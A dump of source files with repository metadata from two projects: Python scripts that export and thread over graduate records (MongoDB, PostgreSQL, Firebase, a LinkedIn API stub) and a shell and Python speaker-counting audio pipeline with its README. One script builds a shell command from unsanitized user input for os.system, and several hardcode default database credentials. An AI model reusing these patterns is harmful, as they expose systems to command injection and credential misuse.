"text": "import threading\nfrom linkedin_v2 import linkedin\nimport psycopg2\nNUM_HILOS=4\n\n\"\"\"\nconexion = psycopg2.connect(host=\"localhost\", database=\"decorazon\", user=\"postgres\", password=\"postgres\")\n# Creamos el cursor con el objeto conexion\ncur = conexion.cursor()\n# Ejecutamos una consulta\ncur.execute( \"SELECT COUNT(id) FROM enfermedad\")\ncantidadEgresados=cur.fetchone()[0]\ncantRegistrosPorhilo=cantidadEgresados//NUM_HILOS\n# Cerramos la conexión\nconexion.close()\n\ndef procesar(num_hilo, **datos):\n contador = datos['inicio']\n limite = datos['limite']-contador\n skip = datos['skip']\n conexion = psycopg2.connect(host=\"localhost\", database=\"decorazon\", user=\"postgres\", password=\"postgres\")\n # Creamos el cursor con el objeto conexion\n cur = conexion.cursor()\n # Ejecutamos una consulta(EL offset es lo mismo que el skip de python, indica la cantidad de valores a omitir antes de comenzar a devolver datos)\n consulta=\"SELECT nombre, id FROM enfermedad LIMIT %s OFFSET %s\"\n data=[limite,skip]\n cur.execute(consulta,data)\n\n # Recorremos los resultados y los mostramos\n for nombre, id in cur.fetchall():\n print(num_hilo,nombre, id)\n conexion.close()\n\n\ninicio=0\nsuma=0\nfor num_hilo in range(NUM_HILOS):\n if num_hilo== NUM_HILOS-1:\n limite=cantidadEgresados\n else:\n limite=inicio+cantRegistrosPorhilo\n hilo = threading.Thread(target=procesar, args=(num_hilo,),kwargs={'inicio':inicio,'skip': suma, 'limite':limite})\n hilo.start()\n suma+=(limite-inicio)\n inicio=limite\n\"\"\"\n\n\nCONSUMER_KEY=1\nCONSUMER_SECRET=1\nUSER_TOKEN=1\nUSER_SECRET=1\nRETURN_URL=1\nauthentication = linkedin.LinkedInDeveloperAuthentication(CONSUMER_KEY, CONSUMER_SECRET,\n USER_TOKEN, USER_SECRET,\n RETURN_URL, linkedin.PERMISSIONS.enums.values())\n\napplication = linkedin.LinkedInApplication(authentication)\napplication.get_profile()\n\n"
},
{
"alpha_fraction": 0.6322751045227051,
"alphanum_fraction": 0.6362434029579163,
"avg_line_length": 29.1200008392334,
"blob_id": "71b6602797e8ca34756d19f2604b2811d519f60f",
"content_id": "2953bd530f7c8522a0079c01f7c4717ee12a20f0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 756,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 25,
"path": "/scripts/local/exportarJSONFirebase/main.py",
"repo_name": "eduard2diaz/egresadosCINVESTAV",
"src_encoding": "UTF-8",
"text": "import json\nfrom pymongo import MongoClient\nclient = MongoClient()#Defino el cliente para la conexion a la base de datos\ndb = client.egresado#me conecto a la base de datos\negresadoTable = db.egresado#me conecto a la coleccion egresado\nlistado=egresadoTable.find()\ndata = {}\ndata['estudiante']={}\ni=1\nfor obj in listado:\n identificador = \"estudiante\"+str(i)\n aux={\n 'id': obj['id'],\n 'apellidoB': obj['apellidoB'],\n 'firstName': obj['firstName'],\n 'fullName': obj['fullName'],\n 'genre': obj['genre'],\n 'lastName': obj['lastName'],\n 'middleName': obj['middleName'],\n };\n data['estudiante'][identificador]=aux\n i+=1\n\nwith open('salida.json', 'w') as file:\n json.dump(data, file, indent=4)\n\n\n\n"
},
{
"alpha_fraction": 0.6770833134651184,
"alphanum_fraction": 0.6809895634651184,
"avg_line_length": 35.57143020629883,
"blob_id": "e612312b29053bca317946a818de636101409272",
"content_id": "675e60a4cf683c5e48658786ce02dba4eaae365c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 768,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 21,
"path": "/scripts/Firebase/exportarAfirebase/main.py",
"repo_name": "eduard2diaz/egresadosCINVESTAV",
"src_encoding": "UTF-8",
"text": "#se usaron los paquetes firebase-client, python-firebase y pymongo\nfrom firebase import firebase\nfrom pymongo import MongoClient\nfire=firebase.FirebaseApplication(\"https://egresados-dd6d8.firebaseio.com/\")\nclient = MongoClient()#Defino el cliente para la conexion a la base de datos\ndb = client.egresado#me conecto a la base de datos\negresadoTable = db.egresado#me conecto a la coleccion egresado\nlistado=egresadoTable.find()\ndata = {}\ni=1\nfor obj in listado:\n data = {\n 'id': obj['id'],\n 'apellidoB': obj['apellidoB'],\n 'firstName': obj['firstName'],\n 'fullName': obj['fullName'],\n 'genre': obj['genre'],\n 'lastName': obj['lastName'],\n 'middleName': obj['middleName'],\n }\n result=fire.post('estudiante',data)\n"
},
{
"alpha_fraction": 0.7434210777282715,
"alphanum_fraction": 0.7434210777282715,
"avg_line_length": 49.83333206176758,
"blob_id": "029c57dafca78bfb52c753658217a864b9a97fb0",
"content_id": "48f421f3d407d4dd5ee696b8ec150fcaba69bd44",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 304,
"license_type": "no_license",
"max_line_length": 82,
"num_lines": 6,
"path": "/scripts/local/exportar_importarDBMongo/importar.py",
"repo_name": "eduard2diaz/egresadosCINVESTAV",
"src_encoding": "UTF-8",
"text": "import os\ndb=input(\"Escriba el nombre de la base de datos: \")#egresado\ncoleccion=input(\"Escriba el nombre de la coleccion: \")#egresado\nentrada=input(\"Escriba el nombre del fichero de entrada: \")#OPCIONAL\ncadena=\"mongoimport --db \"+db+\" --collection \"+coleccion+\" --drop --file \"+entrada\nos.system(cadena)"
},
{
"alpha_fraction": 0.7377952933311462,
"alphanum_fraction": 0.7409448623657227,
"avg_line_length": 34.30555725097656,
"blob_id": "57d4dafd5a8814271cba6dd8f6d71bb56f798e0a",
"content_id": "2e46e2b79c66ac00d035d3297d8e06a8d205748a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1270,
"license_type": "no_license",
"max_line_length": 117,
"num_lines": 36,
"path": "/scripts/local/hilosmongo/main.py",
"repo_name": "eduard2diaz/egresadosCINVESTAV",
"src_encoding": "UTF-8",
"text": "import threading\nfrom pymongo import MongoClient\nNUM_HILOS=4\n\nclient = MongoClient()#Defino el cliente para la conexion a la base de datos\ndb = client.egresado#me conecto a la base de datos\negresadoTable = db.egresado#me conecto a la coleccion egresado\ncantidadEgresados=egresadoTable.count()#obtengo la cantidad de registros almacenados en dicha coleccion\ncantRegistrosPorhilo=cantidadEgresados//NUM_HILOS#calculo la cantidad de registros a procesar por documento\n\ndef procesamiento(nombre):\n print(nombre) #aqui es donde consumo las redes sociales\n\ndef procesar(num_hilo, **datos):\n contador = datos['inicio']\n limite = datos['limite']\n skip = datos['skip']\n client_numhilo = MongoClient()\n db_numhilo = client_numhilo.egresado\n egresadoTable_numhilo = db_numhilo.egresado.find().skip(skip).limit(limite-contador)\n for usuario in egresadoTable_numhilo:\n procesamiento(usuario[\"fullName\"])\n\n\n\ninicio=0\nsuma=0\nfor num_hilo in range(NUM_HILOS):\n if num_hilo== NUM_HILOS-1:\n limite=cantidadEgresados\n else:\n limite=inicio+cantRegistrosPorhilo\n hilo = threading.Thread(target=procesar, args=(num_hilo,),kwargs={'inicio':inicio,'skip': suma, 'limite':limite})\n hilo.start()\n suma+=(limite-inicio)\n inicio=limite"
}
] | 8 |
WenwanChen/SocialAmbiance-speaker-count | https://github.com/WenwanChen/SocialAmbiance-speaker-count | 6e0fe22e031def92565af72da8671f79ea2186c7 | 797f42199e8c9eeacb47bbdb968ddaaeb02c3e85 | 7c0fb976364bea6abb45c937b320c85c3426a8bd | refs/heads/main | 2023-07-24T17:40:13.370472 | 2021-08-24T03:26:14 | 2021-08-24T03:26:14 | 399,295,544 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.3679245412349701,
"alphanum_fraction": 0.4150943458080292,
"avg_line_length": 19,
"blob_id": "464b30862f6f733bee47db193a9ac2574e160774",
"content_id": "4dcd4757c0afe8cdda91fda41a23b26a547567d4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 742,
"license_type": "no_license",
"max_line_length": 82,
"num_lines": 37,
"path": "/preparation.sh",
"repo_name": "WenwanChen/SocialAmbiance-speaker-count",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\n\nfor id in 'S6' 'S21' \n# for id in 'S1' 'S10' 'S12' 'S13' 'S14' 'S15' 'S16' 'S17' 'S18' 'S19' 'S2' 'S20' \ndo\n for item in /dataroot/Baylor/$id/new-*\n do\n\n if [[ -d $item ]]\n then\n Dir=$item\n rm -rf $Dir/speech/5s\n for file in $Dir/speech/*.wav\n do\n\n # directory to store 5s segments\n IFS='/'\n read -a strarr <<< \"$file\"\n name=$(basename ${strarr[6]} .wav)\n IFS=' '\n mkdir -p $Dir/speech/5s\n chmod 777 $Dir/speech/5s\n\n python 5s.py $file $Dir/speech/5s $name\n\n done\n\n\n else\n echo 'skip'\n\n fi\n\n done\n\ndone\n\n\n"
},
{
"alpha_fraction": 0.4983189105987549,
"alphanum_fraction": 0.509125828742981,
"avg_line_length": 46.32954406738281,
"blob_id": "efc6e70d2b546f2238895446364c915810fb12a5",
"content_id": "a4cc29ed81dbd1ea972c7da8f169d7748ff1c59f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 4164,
"license_type": "no_license",
"max_line_length": 763,
"num_lines": 88,
"path": "/backend.sh",
"repo_name": "WenwanChen/SocialAmbiance-speaker-count",
"src_encoding": "UTF-8",
"text": ". ./cmd.sh\n. ./path.sh\nset -e\n\nfea_nj=40\n\n\nlda_dim=200\n\ndir=/dataroot/experiments/exp/resnet5/far_epoch20\ndir1=/dataroot/experiments/exp/resnet5/far_epoch_20\n\nfor id in 'S6' \ndo\n for item in /dataroot/Baylor/$id/new-*\n do \n\n \n if [[ -d $item/speech ]]\n then\n IFS='/'\n read -a strarr <<< \"$item\"\n name=$(basename ${strarr[4]} .wav)\n IFS=' '\n# # ----------------------same-----------------------------\n# $train_cmd $dir1/voxceleb_train_combined/log/compute_mean.log \\\n# ivector-mean scp:$dir1/voxceleb_train_combined/xvector.scp \\\n# $dir1/voxceleb_train_combined/mean.vec || exit 1;\n# # ---------------------------------------------------------\n if [[ -f /dataroot/Baylor-experiments/data/feature/$name/feats.scp ]]\n then\n start=$(date +%s.%N)\n \n $train_cmd $dir/$name/log/compute_mean.log \\\n ivector-mean scp:$dir/$name/xvector.scp \\\n $dir/$name/mean.vec || exit 1;\n echo 'mean done'\n# # ----------------------------same---------------------------------\n# # LDA\n# $train_cmd $dir1/voxceleb_train_combined/log/lda.log \\\n# ivector-compute-lda --total-covariance-factor=0.0 --dim=$lda_dim \\\n# \"ark:ivector-subtract-global-mean scp:$dir1/voxceleb_train_combined/xvector.scp ark:- |\" \\\n# ark:/dataroot/experiments/data/feature/voxceleb_train_combined/utt2spk $dir1/voxceleb_train_combined/transform.mat || exit 1;\n\n# echo 'lda done'\n\n# # PLDA\n# $train_cmd $dir1/voxceleb_train_combined/log/plda_lda${lda_dim}.log \\\n# ivector-compute-plda --binary=false ark:/dataroot/experiments/data/feature/voxceleb_train_combined/spk2utt \\\n# \"ark:ivector-subtract-global-mean scp:$dir1/voxceleb_train_combined/xvector.scp ark:- | transform-vec $dir1/voxceleb_train_combined/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \\\n# $dir1/voxceleb_train_combined/plda_lda${lda_dim}.txt || exit 1;\n# echo 'plda done'\n# # -------------------------same----------------------------------------\n num_sample=$(wc -l < \"/dataroot/Baylor-experiments/data/$name/wav.scp\")\n\n python3 make_trials.py $dir1/voxceleb_train_combined/xvector.scp $dir/$name/xvector.scp /dataroot/Baylor/$id/$name/speech/trials.txt $num_sample\n\n\n echo 'trial produced'\n\n # Scoring\n\n $train_cmd $dir/xvector_scores/log/$id_$name.log ivector-plda-scoring --normalize-length=true \"ivector-copy-plda --smoothing=0.0 $dir1/voxceleb_train_combined/plda_lda${lda_dim}.txt - |\" \"ark:ivector-subtract-global-mean $dir1/voxceleb_train_combined/mean.vec scp:$dir1/voxceleb_train_combined/xvector.scp ark:- | transform-vec $dir1/voxceleb_train_combined/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \"ark:ivector-subtract-global-mean $dir/$name/mean.vec scp:$dir/$name/xvector.scp ark:- | transform-vec $dir1/voxceleb_train_combined/transform.mat ark:- ark:- | ivector-normalize-length ark:- ark:- |\" \"cat '/dataroot/Baylor/$id/$name/speech/trials.txt' | cut -d\\ --fields=1,2 |\" $dir/xvector_scores/$id+$name || exit 1;\n\n echo 'scored'\n \n end=$(date +%s.%N) \n runtime=$(python -c \"print(${end} - ${start})\")\n echo \"Scoring runtime was $runtime for $item\"\n\n start=$(date +%s.%N)\n\n python3 score.py $id $name\n \n end=$(date +%s.%N) \n runtime=$(python -c \"print(${end} - ${start})\")\n echo \"Final scores runtime was $runtime for $item\"\n \n else\n echo 'skip'\n fi\n \n else\n echo 'skip'\n \n fi\n done\n done"
},
{
"alpha_fraction": 0.5783718228340149,
"alphanum_fraction": 0.5941676497459412,
"avg_line_length": 20.389610290527344,
"blob_id": "50c15e85bd5bb7967a308400a0956e4964b54eb7",
"content_id": "10b78bf0fa1afbab369e662d5d13f729f5f9878a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 1646,
"license_type": "no_license",
"max_line_length": 111,
"num_lines": 77,
"path": "/runSegment.sh",
"repo_name": "WenwanChen/SocialAmbiance-speaker-count",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\n# run in docker2\n# ------------1-------------\npre='new-'\next='.wav'\n\n\nfor id in 'S6'\ndo\n\nchmod 777 /dataroot/Baylor/$id\n\nDir=/dataroot/Baylor/$id/\n\n# for file in /dataroot/Baylor/$id/*.wav\n# do\n\n# start=$(date +%s.%N)\n\n# name=$(basename $file .wav)\n# ffmpeg -y -i $file -vn -ar 16000 -ac 1 ${Dir}${pre}${name}${ext}\n\n# end=$(date +%s.%N) \n# runtime=$(python -c \"print(${end} - ${start})\")\n\n# echo \"re-sample runtime was $runtime for $file\"\n\n# done\n\n\n# ---------------2---------------\nfor text in /dataroot/Baylor/$id/new-*.wav\ndo\n\nstart=$(date +%s.%N)\n\nsize=$(soxi -D $text)\n\n\nIFS='/'\nread -a strarr <<< \"$text\"\nname=$(basename ${strarr[4]} .wav)\nIFS=' '\necho $name\nmkdir /dataroot/Baylor/$id/$name\nchmod 777 /dataroot/Baylor/$id/$name\nmkdir /dataroot/Baylor/$id/$name/speech\nchmod 777 /dataroot/Baylor/$id/$name/speech\n\npython3 2h.py /dataroot/Baylor/$id $name /dataroot/Baylor/$id/$name $size\n\nend=$(date +%s.%N) \nruntime=$(python -c \"print(${end} - ${start})\")\n\necho \"segment runtime was $runtime for $text\"\n# --------------3----------------\nstart=$(date +%s.%N)\nfor f in /dataroot/Baylor/$id/$name/*.wav\ndo\necho $f\nCUDA_VISIBLE_DEVICES='7' ina_speech_segmenter.py -i $f -o /dataroot/Baylor/$id/$name -d 'smn' -g 'false'\ndone\n\nend=$(date +%s.%N) \nruntime=$(python -c \"print(${end} - ${start})\")\necho \"VAD runtime was $runtime for $text\"\n# --------------4-------------\nstart=$(date +%s.%N)\npython3 concat.py /dataroot/Baylor/$id $name /dataroot/Baylor/$id/$name /dataroot/Baylor/$id/$name/speech $size\nend=$(date +%s.%N) \nruntime=$(python -c \"print(${end} - ${start})\")\necho \"concat runtime was $runtime for $text\"\n\ndone\n\ndone"
},
{
"alpha_fraction": 0.4769855737686157,
"alphanum_fraction": 0.4950360953807831,
"avg_line_length": 26.370370864868164,
"blob_id": "9ce79f4dc633d06f60a08c54c346ca6b90c9e449",
"content_id": "2a5780f46221e5bbab61b4f2ee4887efdbb98613",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 2216,
"license_type": "no_license",
"max_line_length": 159,
"num_lines": 81,
"path": "/toKaldiFormat.sh",
"repo_name": "WenwanChen/SocialAmbiance-speaker-count",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\n\n\n# #!/bin/bash\n# start=$(date +%s.%N)\n\n# # HERE BE CODE\n\n# end=$(date +%s.%N) \n# runtime=$(python -c \"print(${end} - ${start})\")\n\n# echo \"Runtime was $runtime\"\n\n\n\n\n\n# for id in 'S12' 'S21' 'S22' 'S23' 'S24' 'S25' 'S6' 'S18'\nfor id in 'S6' \ndo\n for file in /dataroot/Baylor/$id/new-*\n\n do\n if [[ -d $file/speech ]]\n then\n IFS='/'\n read -a strarr <<< \"$file\"\n item=$(basename ${strarr[4]} .wav)\n IFS=' '\n \n voxceleb1_path=$file/speech\n dir=/dataroot/Baylor-experiments\n data=$dir/data\n exp=$dir/exp\n# echo $voxceleb1_path\n# echo $data/$item\n\n start=$(date +%s.%N)\n recipe/voxceleb/prepare/o.pl $voxceleb1_path 16 $data/$item\n\n# exit 1 \n ./newCopyData.sh $data feature $item\n \n\n ./makeFeatures.sh $data/feature/$item fbank conf/sre-fbank-40.conf $exp\n \n end=$(date +%s.%N) \n runtime=$(python -c \"print(${end} - ${start})\")\n\n echo \"Feature extraction runtime was $runtime\"\n \n \n start=$(date +%s.%N)\n\n ./computeAugmentedVad.sh $data/feature/$item $data/feature/$item/utt2spk conf/vad-5.5.conf $exp \n \n end=$(date +%s.%N) \n runtime=$(python -c \"print(${end} - ${start})\")\n\n echo \"Kaldi-format Feature runtime was $runtime\"\n \n start=$(date +%s.%N)\n\n ./runPytorchLauncher.sh \n python3 recipe/voxcelebSRC/Baylor.py --gpu_id=\"7\" --stage=4 --Data=/dataroot/experiments/data --Exp=/dataroot/experiments/exp --ep=20 --name=$item\n \n end=$(date +%s.%N) \n runtime=$(python -c \"print(${end} - ${start})\")\n\n echo \"Embedding extraction runtime was $runtime\"\n\n # Embeddings of [ /dataroot/Baylor-experiments/data/feature/$item ] has been extracted to [ /dataroot/experiments/exp/resnet5/far_epoch20/$item ]\n\n # then go to sre19/Backends-for-SRE19/Baylor_backend.sh\n else\n echo 'skip'\n fi\n\n done\ndone"
},
{
"alpha_fraction": 0.6166666746139526,
"alphanum_fraction": 0.6769841313362122,
"avg_line_length": 33.94444274902344,
"blob_id": "bc517b44ee80a91a7cb12af21da661498cbbd1af",
"content_id": "d54fe51e46942de5fce7bb463cb75f8c8931c0ab",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1260,
"license_type": "no_license",
"max_line_length": 103,
"num_lines": 36,
"path": "/2h.py",
"repo_name": "WenwanChen/SocialAmbiance-speaker-count",
"src_encoding": "UTF-8",
"text": "from pydub import AudioSegment\nfrom itertools import combinations\nimport sys, random, argparse, os, imp\nimport os\n\n# python 2h.py '/dataroot/Baylor/S4' '20180328110801' '/dataroot/Baylor/S4/20180328110801' $size\n\ndef get_args():\n parser = argparse.ArgumentParser(description=\"Generate 2h audio \"\n \"Usage: augment_data_dir.py <in-data-dir> <in-data wav> <out-data-dir> \"\n \"E.g., python 2h.py '/dataroot/Baylor/S4' '20180328110801.wav' '/dataroot/Baylor/S4/speech' 5\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n \n parser.add_argument(\"InDir\", type=str, help=\"Input data directory\")\n parser.add_argument(\"Input\", type=str, help=\"Input wav name\")\n parser.add_argument(\"OutDir\", type=str,help='output dir')\n parser.add_argument(\"num\", type=float,help='length')\n print(' '.join(sys.argv))\n args = parser.parse_args()\n# args = check_args(args)\n return args\n\n\n\nargs = get_args()\nOutDir = args.OutDir \nInput=args.Input\nInDir=args.InDir\nnum=int(args.num/3600) \naudio=AudioSegment.from_file(InDir+'/'+Input+'.wav')\n\nfor i in range(num):\n# every 1 hours\n# print(\"done\")\n segment=audio[3600000*i:3600000*i+3600000]\n segment.export(\"%s/%s.wav\"%(OutDir,i), format=\"wav\")\n\n\n"
},
{
"alpha_fraction": 0.740642249584198,
"alphanum_fraction": 0.8056862354278564,
"avg_line_length": 70.89705657958984,
"blob_id": "1ce63899cadc4fff62dbe22b13c28b38efc6c27d",
"content_id": "4bca39260ca5e2808378dc8d7f265916f9e3be12",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 4889,
"license_type": "no_license",
"max_line_length": 912,
"num_lines": 68,
"path": "/README.md",
"repo_name": "WenwanChen/SocialAmbiance-speaker-count",
"src_encoding": "UTF-8",
"text": "# SocialAmbiance-speaker-count\nA Pytorch based concurrent speaker countalgorithm\n\nIntroduction: AmbianceCount is an automatic and objective method that extract social ambiance from unconstrained audio recordings by estimating the number of concurrent speakers. AmbianceCount consists of a supervised deep neural network (DNN) embedding extractor to differentiate speech mixtures, and a scoring system for estimation and improving generalization. The performance of AmbianceCount is compared with baseline and evaluated on several synthesized datasets. Lastly, I utilize AmbianceCount to evaluate data from a sociability pilot, with audio data from depression and psychosis patients as well as age-matched healthy controls. Our analysis shows that extracted social ambiance patterns are significantly different across three groups. Besides, it is observe that captured social ambiance patterns are associated with psychometric and personality scores, which is consistent with clinical diagnosis.\n\n**How to use AmbianceCount**\n\nStep 1: Remove silent segments using pre-trained Voice Activity Detection: https://github.com/ina-foss/inaSpeechSegmenter\nSuppose that audio recordings of participant_id is stored in /dataroot/Baylor/id, the first step is to remove all the silent segments. \\\n | runSegment.sh\\\n |---- 2h.py // just to prevent stackoverflow\\\n |---- inaSpeechSegmenter toolkit\n \nStep 2: Prepare 5s segments to feed into neural network\\\n | preparation.sh\\\n |---- 5s.py \n \nStep 3: Kaldi-format Feature extaction \\\nAcoustic features are extracted using Kaldi toolkit, and deep embedding features are extracted using trained neural networks\\\n | toKaldiFormat.sh\\\n |---- model.py // models are defined based on https://github.com/Snowdar/asv-subtools/blob/master/pytorch/model/resnet-xvector.py\n \nStep 4: Back-end scoring and domain adaptation\\\nExtracted embeddings are scored and adapted to generalize the algorithm using Kaldi\\\n | backend.sh\\\n |---- score.py\n \n![image](https://user-images.githubusercontent.com/41505580/130548488-82207ef3-c93a-40b9-b4ad-15c461fc6a9d.png)\n\nStep 5: Statistical analysis results: \\\n1. Social Ambiance Measure (SAM) Differences Between Groups\\\nFigure 2 illustrates that social ambiance patterns extracted from participants with depressive or psychotic disorders were significantly different from healthy controls. \n\n![Figure2](https://user-images.githubusercontent.com/41505580/130549094-10d4ebfc-d725-46ff-818b-72137d8fc1a4.jpeg)\n\n\n2. Relationship Between Social Ambiance Measure (SAM) and Self-Reported Measures\\\nSocial ambiance patterns, while linked to some personality traits for healthy controls, were found associated with psychometric scores for participants with depressive or psychotic disorders.\n\n![table](https://user-images.githubusercontent.com/41505580/130549103-c2e5f091-42d7-4640-9c4b-a2d5865e8f45.jpeg)\n\nFor more details, please refer to our paper:\n\n[_Chen W, Sabharwal A, Taylor E, Patel AB and Moukaddam N (2021) Privacy-Preserving Social Ambiance Measure From Free-Living Speech Associates With Chronic Depressive and Psychotic Disorders. Front. Psychiatry 12:670020. doi: 10.3389/fpsyt.2021.670020_](https://www.frontiersin.org/articles/10.3389/fpsyt.2021.670020/full).\n\n\n**How to prepare training data**\n\nOverlapped speech creation:\n\nWe utilize LibriSpeech corpus to create overlapped speech. By combining three LibriSpeech subsets, clean-360, clean-100 and other-500, I get 960 hours of speech in utterances from 2338 speakers (1228 female speakers and 1210 male speakers), sampled at 16 kHz. Utterances were segmented when the silence intervals were longer than 0.3 seconds or coincided with sentence breaks in the reference text.\n\n![image](https://user-images.githubusercontent.com/41505580/130540735-6d580b1f-081d-4443-a7bd-e57a9f6918a3.png)\n\nFor each speaker, a 15-30 min recording is generated by concatenating LibriSpeech utterances of that speaker. Next, an audio segment is randomly selected from each recording, and segments are randomly adjusted in volume and speed to simulate how people speak in real-world scenarios.\n\n![image](https://user-images.githubusercontent.com/41505580/130540880-791bc03f-176f-4b64-bb5e-8c0411e67fec.png)\n\nFinally, adjusted segments from K speakers are trimmed to T seconds and overlapped with each other to generate a speech mixture, labelled with speaker count of K.\n\nScenarios creation:\n\nTo cover different acoustic scenarios, I add three categories of sound effects: background noises, foreground noises and reverberation using Kaldi toolkit.\n![image](https://user-images.githubusercontent.com/41505580/130540984-8c62afca-54d8-4a1a-b0c5-2b111c37f13f.png)\n\nFor more details about model training, please refer to my thesis:\n\n[_AmbianceCount: An Objective Social Ambiance Measure from Unconstrained Day-long Audio Recordings_](https://scholarship.rice.edu/handle/1911/109640).\n"
},
{
"alpha_fraction": 0.6349206566810608,
"alphanum_fraction": 0.6494134068489075,
"avg_line_length": 29.851064682006836,
"blob_id": "a6b742ff8eef5aab1e89380858f7154bb37b9289",
"content_id": "5fbaa8e76fd96b5169a8bd92e8cce646e5265fde",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1449,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 47,
"path": "/score.py",
"repo_name": "WenwanChen/SocialAmbiance-speaker-count",
"src_encoding": "UTF-8",
"text": "import pandas as pd\nimport sys, random, argparse, os, imp\nimport os\n\n\n\ndef get_args():\n parser = argparse.ArgumentParser(description=\"...\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n \n parser.add_argument(\"ID\", type=str, help=\"Input data directory\")\n parser.add_argument(\"recording\", type=str, help=\"Input data directory\")\n print(' '.join(sys.argv))\n args = parser.parse_args()\n# args = check_args(args)\n return args\n\n\n\nargs = get_args()\nID = args.ID \nrecording = args.recording \n\ndef labelExtraction(x):\n if x[1]=='-':\n y=int(x[0])\n else:\n y=int(x[0]+x[1])\n return y\n\n\npath='/dataroot/experiments/exp/resnet5/far_epoch20/xvector_scores/%s+%s'%(ID,recording)\nscores=pd.read_csv(path,sep=' ',header=None, names=['var1','var2','score'])\nscores.sort_values(by=['var2'], inplace=True)\nscores[['c1']]=scores[['var1']].applymap(lambda x: labelExtraction(x)) \n# scores=scores.drop(columns=['var1'])\n# scores=scores.drop('var1', axis=1)\nuniq=scores['var2'].unique()\noutput=pd.DataFrame(columns = ['sample', 'result']) \nfor i in range(len(uniq)):\n value=uniq[i]\n scores_value=scores[scores['var2']==value]\n scores_value.sort_values(by=['score'], inplace=True,ascending=False)\n pre=scores_value.iloc[0:4]['c1'].min()\n output = output.append({'sample' : value, 'result' : pre}, \n ignore_index = True) \noutput.to_csv('5s/result_%s_%s.csv'%(ID,recording))"
},
{
"alpha_fraction": 0.6350194811820984,
"alphanum_fraction": 0.6840466856956482,
"avg_line_length": 32.76315689086914,
"blob_id": "b76a890197a55b1e053c64a8ed29f0e1be1d7e0b",
"content_id": "69377670cb2dba757e0dcf84f6ccafb8394c7265",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1285,
"license_type": "no_license",
"max_line_length": 103,
"num_lines": 38,
"path": "/5s.py",
"repo_name": "WenwanChen/SocialAmbiance-speaker-count",
"src_encoding": "UTF-8",
"text": "from pydub import AudioSegment\nfrom itertools import combinations\nimport sys, random, argparse, os, imp\nimport os\n\n# input /dataroot/Baylor/S4/new-20180323051456/speech/0.wav \n# output /dataroot/Baylor/S4/new-20180323051456/speech/0\n\n\ndef get_args():\n parser = argparse.ArgumentParser(description=\"Generate 2h audio \"\n \"Usage: augment_data_dir.py <in-data-dir> <in-data wav> <out-data-dir> \"\n \"E.g., python 2h.py '/dataroot/Baylor/S4' '20180328110801.wav' '/dataroot/Baylor/S4/speech' 5\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n \n parser.add_argument(\"Input\", type=str, help=\"Input wav name\")\n parser.add_argument(\"OutDir\", type=str,help='output dir')\n parser.add_argument(\"name\", type=str,help='name')\n print(' '.join(sys.argv))\n args = parser.parse_args()\n# args = check_args(args)\n return args\n\n\n\nargs = get_args()\nOutDir = args.OutDir \nInput=args.Input\nname=args.name\naudio=AudioSegment.from_file(Input)\nN=int(audio.duration_seconds)\n\n# i=start time\nfor i in range(N):\n segment=audio[1000*i:1000*i+5000]\n# output=segment+segment+segment+segment+segment\n# output.export(\"%s/%s-%s.wav\"%(OutDir,name,i), format=\"wav\")\n segment.export(\"%s/%s-%s.wav\"%(OutDir,name,i), format=\"wav\")\n\n\n"
}
] | 8 |
diver-gent/aws_testbed | https://github.com/diver-gent/aws_testbed | 4421989c814557d2b83f575aabac421c3170ce7c | 31a5f7ab7e6d0a45f8ff45c1c8ac3a36caa0e52a | a0bd0c24a242622e53195863230d70abd4c77431 | refs/heads/master | 2021-01-21T12:03:23.407266 | 2016-03-27T16:33:45 | 2016-03-27T16:33:45 | 41,439,962 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5719612240791321,
"alphanum_fraction": 0.581058919429779,
"avg_line_length": 30.62264060974121,
"blob_id": "16e992358b0ba68a48290e93029d86a4748eb2ab",
"content_id": "4209970781a91322321cf879683578ce2f79e2e5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6705,
"license_type": "no_license",
"max_line_length": 112,
"num_lines": 212,
"path": "/aws.py",
"repo_name": "diver-gent/aws_testbed",
"src_encoding": "UTF-8",
